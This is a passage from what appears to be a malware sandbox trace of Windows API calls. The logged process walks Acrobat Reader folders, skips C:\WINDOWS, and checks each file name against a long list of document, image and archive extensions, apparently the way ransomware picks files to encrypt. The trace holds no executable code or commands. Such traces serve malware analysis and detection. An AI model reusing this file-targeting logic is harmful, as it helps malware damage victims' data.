cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.452] lstrlenW (lpString="ui-strings.js") returned 13 [0261.452] lstrlenW (lpString=".1cd") returned 4 [0261.452] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0261.452] lstrlenW (lpString=".3ds") returned 4 [0261.452] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0261.452] lstrlenW (lpString=".3fr") returned 4 [0261.452] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0261.452] lstrlenW (lpString=".3g2") returned 4 [0261.452] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0261.452] lstrlenW (lpString=".3gp") returned 4 [0261.452] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0261.452] lstrlenW (lpString=".7z") returned 3 [0261.452] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0261.452] lstrlenW (lpString=".accda") returned 6 [0261.452] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0261.452] lstrlenW (lpString=".accdb") returned 6 [0261.452] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0261.452] lstrlenW (lpString=".accdc") returned 6 [0261.452] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0261.452] lstrlenW (lpString=".accde") returned 6 [0261.453] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0261.453] lstrlenW (lpString=".accdt") returned 6 [0261.453] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0261.453] lstrlenW (lpString=".accdw") returned 6 [0261.453] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0261.453] lstrlenW (lpString=".adb") returned 4 [0261.453] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0261.453] lstrlenW (lpString=".adp") returned 4 [0261.453] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0261.453] lstrlenW (lpString=".ai") returned 3 [0261.453] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0261.453] lstrlenW (lpString=".ai3") returned 4 [0261.453] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0261.453] lstrlenW (lpString=".ai4") returned 4 [0261.453] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0261.453] lstrlenW (lpString=".ai5") returned 4 [0261.453] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0261.453] lstrlenW (lpString=".ai6") returned 4 [0261.453] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0261.453] lstrlenW (lpString=".ai7") returned 4 [0261.453] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0261.453] lstrlenW (lpString=".ai8") returned 4 [0261.453] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0261.453] lstrlenW (lpString=".anim") returned 5 [0261.453] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0261.453] lstrlenW (lpString=".arw") returned 4 [0261.453] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0261.453] lstrlenW (lpString=".as") returned 3 [0261.454] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0261.454] lstrlenW (lpString=".asa") returned 4 [0261.454] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0261.454] lstrlenW (lpString=".asc") returned 4 [0261.454] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0261.454] lstrlenW (lpString=".ascx") returned 5 [0261.454] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0261.454] lstrlenW (lpString=".asm") returned 4 [0261.454] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0261.454] lstrlenW (lpString=".asmx") returned 5 [0261.454] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0261.454] lstrlenW (lpString=".asp") returned 4 [0261.454] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0261.454] lstrlenW (lpString=".aspx") returned 5 [0261.454] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0261.454] lstrlenW (lpString=".asr") returned 4 [0261.454] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0261.454] lstrlenW (lpString=".asx") returned 4 [0261.454] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0261.454] lstrlenW (lpString=".avi") returned 4 [0261.454] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0261.454] lstrlenW (lpString=".avs") returned 4 [0261.454] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0261.454] lstrlenW (lpString=".backup") returned 7 [0261.454] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0261.454] lstrlenW (lpString=".bak") returned 4 [0261.454] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0261.454] lstrlenW (lpString=".bay") returned 4 [0261.455] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0261.455] lstrlenW (lpString=".bd") returned 3 [0261.455] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0261.455] lstrlenW (lpString=".bin") returned 4 [0261.455] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0261.455] lstrlenW (lpString=".bmp") returned 4 [0261.455] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0261.455] lstrlenW (lpString=".bz2") returned 4 [0261.455] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0261.455] lstrlenW (lpString=".c") returned 2 [0261.455] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0261.455] lstrlenW (lpString=".cdr") returned 4 [0261.455] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0261.455] lstrlenW (lpString=".cer") returned 4 [0261.455] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0261.455] lstrlenW (lpString=".cf") returned 3 [0261.455] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0261.455] lstrlenW (lpString=".cfc") returned 4 [0261.455] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0261.455] lstrlenW (lpString=".cfm") returned 4 [0261.455] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0261.455] lstrlenW (lpString=".cfml") returned 5 [0261.456] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0261.456] lstrlenW (lpString=".cfu") returned 4 [0261.456] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0261.456] lstrlenW (lpString=".chm") returned 4 [0261.456] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0261.456] lstrlenW (lpString=".cin") returned 4 [0261.456] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0261.456] lstrlenW (lpString=".class") returned 6 [0261.456] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0261.456] lstrlenW (lpString=".clx") returned 4 [0261.456] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0261.456] lstrlenW (lpString=".config") returned 7 [0261.456] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0261.456] lstrlenW (lpString=".cpp") returned 4 [0261.456] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0261.456] lstrlenW (lpString=".cr2") returned 4 [0261.456] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0261.456] lstrlenW (lpString=".crt") returned 4 [0261.456] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0261.456] lstrlenW (lpString=".crw") returned 4 [0261.456] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0261.456] lstrlenW (lpString=".cs") returned 3 [0261.457] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0261.457] lstrlenW (lpString=".css") returned 4 [0261.457] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0261.457] lstrlenW (lpString=".csv") returned 4 [0261.457] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0261.457] lstrlenW (lpString=".cub") returned 4 [0261.457] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0261.457] lstrlenW (lpString=".dae") returned 4 [0261.457] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0261.457] lstrlenW (lpString=".dat") returned 4 [0261.457] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0261.457] lstrlenW (lpString=".db") returned 3 [0261.457] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0261.457] lstrlenW (lpString=".dbf") returned 4 [0261.457] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0261.457] lstrlenW (lpString=".dbx") returned 4 [0261.457] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0261.457] lstrlenW (lpString=".dc3") returned 4 [0261.457] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0261.457] lstrlenW (lpString=".dcm") returned 4 [0261.457] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0261.457] lstrlenW (lpString=".dcr") returned 4 [0261.457] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0261.457] lstrlenW (lpString=".der") returned 4 [0261.457] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0261.458] lstrlenW (lpString=".dib") returned 4 [0261.458] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0261.458] lstrlenW (lpString=".dic") returned 4 [0261.458] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0261.458] lstrlenW (lpString=".dif") returned 4 [0261.458] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0261.458] lstrlenW (lpString=".divx") returned 5 [0261.458] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0261.458] lstrlenW (lpString=".djvu") returned 5 [0261.458] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0261.458] lstrlenW (lpString=".dng") returned 4 [0261.458] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0261.458] lstrlenW (lpString=".doc") returned 4 [0261.458] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0261.458] lstrlenW (lpString=".docm") returned 5 [0261.458] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0261.458] lstrlenW (lpString=".docx") returned 5 [0261.458] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0261.458] lstrlenW (lpString=".dot") returned 4 [0261.458] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0261.458] lstrlenW (lpString=".dotm") returned 5 [0261.458] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0261.458] lstrlenW (lpString=".dotx") returned 5 [0261.458] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0261.458] lstrlenW (lpString=".dpx") returned 4 [0261.458] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0261.458] lstrlenW (lpString=".dqy") returned 4 [0261.458] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0261.458] lstrlenW (lpString=".dsn") returned 4 [0261.459] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0261.459] lstrlenW (lpString=".dt") returned 3 [0261.459] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0261.459] lstrlenW (lpString=".dtd") returned 4 [0261.459] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0261.459] lstrlenW (lpString=".dwg") returned 4 [0261.459] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0261.459] lstrlenW (lpString=".dwt") returned 4 [0261.459] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0261.459] lstrlenW (lpString=".dx") returned 3 [0261.459] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0261.459] lstrlenW (lpString=".dxf") returned 4 [0261.459] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0261.459] lstrlenW (lpString=".edml") returned 5 [0261.459] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0261.459] lstrlenW (lpString=".efd") returned 4 [0261.459] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0261.459] lstrlenW (lpString=".elf") returned 4 [0261.459] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0261.459] lstrlenW (lpString=".emf") returned 4 [0261.459] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0261.459] lstrlenW (lpString=".emz") returned 4 [0261.459] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0261.459] lstrlenW (lpString=".epf") returned 4 [0261.459] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0261.459] lstrlenW (lpString=".eps") returned 4 [0261.459] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0261.460] lstrlenW (lpString=".epsf") returned 5 [0261.460] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0261.460] lstrlenW (lpString=".epsp") returned 5 [0261.460] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0261.460] lstrlenW (lpString=".erf") returned 4 [0261.460] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0261.460] lstrlenW (lpString=".exr") returned 4 [0261.460] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0261.460] lstrlenW (lpString=".f4v") returned 4 [0261.460] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0261.460] lstrlenW (lpString=".fido") returned 5 [0261.460] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0261.460] lstrlenW (lpString=".flm") returned 4 [0261.460] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0261.460] lstrlenW (lpString=".flv") returned 4 [0261.460] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0261.460] lstrlenW (lpString=".frm") returned 4 [0261.460] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0261.460] lstrlenW (lpString=".fxg") returned 4 [0261.460] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0261.460] lstrlenW (lpString=".geo") returned 4 [0261.460] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0261.460] lstrlenW (lpString=".gif") returned 4 [0261.460] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0261.460] lstrlenW (lpString=".grs") returned 4 [0261.460] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0261.460] lstrlenW (lpString=".gz") returned 3 [0261.461] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0261.461] lstrlenW (lpString=".h") returned 2 [0261.461] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0261.461] lstrlenW (lpString=".hdr") returned 4 [0261.461] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0261.461] lstrlenW (lpString=".hpp") returned 4 [0261.461] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0261.461] lstrlenW (lpString=".hta") returned 4 [0261.461] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0261.461] lstrlenW (lpString=".htc") returned 4 [0261.461] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0261.461] lstrlenW (lpString=".htm") returned 4 [0261.461] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0261.461] lstrlenW (lpString=".html") returned 5 [0261.461] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0261.461] lstrlenW (lpString=".icb") returned 4 [0261.461] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0261.461] lstrlenW (lpString=".ics") returned 4 [0261.461] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0261.461] lstrlenW (lpString=".iff") returned 4 [0261.461] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0261.461] lstrlenW (lpString=".inc") returned 4 [0261.461] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0261.461] lstrlenW (lpString=".indd") returned 5 [0261.461] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0261.461] lstrlenW (lpString=".ini") returned 4 [0261.461] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0261.461] lstrlenW (lpString=".iqy") returned 4 [0261.461] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0261.462] lstrlenW (lpString=".j2c") returned 4 [0261.462] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0261.462] lstrlenW (lpString=".j2k") returned 4 [0261.462] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0261.462] lstrlenW (lpString=".java") returned 5 [0261.462] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0261.462] lstrlenW (lpString=".jp2") returned 4 [0261.462] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0261.462] lstrlenW (lpString=".jpc") returned 4 [0261.462] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0261.462] lstrlenW (lpString=".jpe") returned 4 [0261.462] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0261.462] lstrlenW (lpString=".jpeg") returned 5 [0261.462] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0261.462] lstrlenW (lpString=".jpf") returned 4 [0261.462] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0261.462] lstrlenW (lpString=".jpg") returned 4 [0261.462] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0261.462] lstrlenW (lpString=".jpx") returned 4 [0261.462] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0261.462] lstrlenW (lpString=".js") returned 3 [0261.462] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0261.462] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe93, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.462] FindClose (in: hFindFile=0x3315770 | out: hFindFile=0x3315770) returned 1 [0261.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0261.463] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0261.463] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu") returned 104 [0261.463] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu") returned 1 [0261.463] lstrlenW (lpString="hu-hu") returned 5 [0261.463] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="hu-hu") returned -1 [0261.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0261.463] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu") returned 104 [0261.463] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0261.463] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.463] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.463] lstrlenW (lpString="ui-strings.js") returned 13 [0261.463] lstrlenW (lpString=".1cd") returned 4 [0261.464] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0261.464] lstrlenW (lpString=".3ds") returned 4 [0261.464] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0261.464] lstrlenW (lpString=".3fr") returned 4 [0261.464] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0261.464] lstrlenW (lpString=".3g2") returned 4 [0261.464] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0261.464] lstrlenW (lpString=".3gp") returned 4 [0261.464] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0261.464] lstrlenW (lpString=".7z") returned 3 [0261.464] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0261.464] lstrlenW (lpString=".accda") returned 6 [0261.464] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0261.464] lstrlenW (lpString=".accdb") returned 6 [0261.464] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0261.464] lstrlenW (lpString=".accdc") returned 6 [0261.464] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0261.464] lstrlenW (lpString=".accde") returned 6 [0261.464] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0261.464] lstrlenW (lpString=".accdt") returned 6 [0261.464] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0261.464] lstrlenW (lpString=".accdw") returned 6 [0261.464] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0261.464] lstrlenW (lpString=".adb") returned 4 [0261.464] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0261.464] lstrlenW (lpString=".adp") returned 4 [0261.464] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0261.465] lstrlenW (lpString=".ai") returned 3 [0261.465] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0261.465] lstrlenW (lpString=".ai3") returned 4 [0261.465] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0261.465] lstrlenW (lpString=".ai4") returned 4 [0261.465] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0261.465] lstrlenW (lpString=".ai5") returned 4 [0261.465] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0261.465] lstrlenW (lpString=".ai6") returned 4 [0261.465] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0261.465] lstrlenW (lpString=".ai7") returned 4 [0261.465] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0261.465] lstrlenW (lpString=".ai8") returned 4 [0261.465] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0261.466] lstrlenW (lpString=".anim") returned 5 [0261.466] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0261.466] lstrlenW (lpString=".arw") returned 4 [0261.466] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0261.466] lstrlenW (lpString=".as") returned 3 [0261.466] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0261.466] lstrlenW (lpString=".asa") returned 4 [0261.466] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0261.466] lstrlenW (lpString=".asc") returned 4 [0261.466] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0261.466] lstrlenW (lpString=".ascx") returned 5 [0261.466] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0261.466] lstrlenW (lpString=".asm") returned 4 [0261.466] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0261.466] lstrlenW (lpString=".asmx") returned 5 [0261.466] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0261.466] lstrlenW (lpString=".asp") returned 4 [0261.466] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0261.466] lstrlenW (lpString=".aspx") returned 5 [0261.466] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0261.466] lstrlenW (lpString=".asr") returned 4 [0261.466] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0261.466] lstrlenW (lpString=".asx") returned 4 [0261.466] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0261.466] lstrlenW (lpString=".avi") returned 4 [0261.467] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0261.467] lstrlenW (lpString=".avs") returned 4 [0261.467] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0261.467] lstrlenW (lpString=".backup") returned 7 [0261.467] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0261.467] lstrlenW (lpString=".bak") returned 4 [0261.467] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0261.467] lstrlenW (lpString=".bay") returned 4 [0261.467] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0261.467] lstrlenW (lpString=".bd") returned 3 [0261.467] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0261.467] lstrlenW (lpString=".bin") returned 4 [0261.467] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0261.467] lstrlenW (lpString=".bmp") returned 4 [0261.467] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0261.467] lstrlenW (lpString=".bz2") returned 4 [0261.467] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0261.467] lstrlenW (lpString=".c") returned 2 [0261.467] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0261.467] lstrlenW (lpString=".cdr") returned 4 [0261.467] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0261.468] lstrlenW (lpString=".cer") returned 4 [0261.468] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0261.468] lstrlenW (lpString=".cf") returned 3 [0261.468] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0261.468] lstrlenW (lpString=".cfc") returned 4 [0261.468] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0261.468] lstrlenW (lpString=".cfm") returned 4 [0261.468] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0261.468] lstrlenW (lpString=".cfml") returned 5 [0261.468] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0261.468] lstrlenW (lpString=".cfu") returned 4 [0261.468] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0261.468] lstrlenW (lpString=".chm") returned 4 [0261.468] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0261.468] lstrlenW (lpString=".cin") returned 4 [0261.468] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0261.468] lstrlenW (lpString=".class") returned 6 [0261.468] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0261.468] lstrlenW (lpString=".clx") returned 4 [0261.468] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0261.468] lstrlenW (lpString=".config") returned 7 [0261.468] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0261.468] lstrlenW (lpString=".cpp") returned 4 [0261.468] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0261.469] lstrlenW (lpString=".cr2") returned 4 [0261.469] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0261.469] 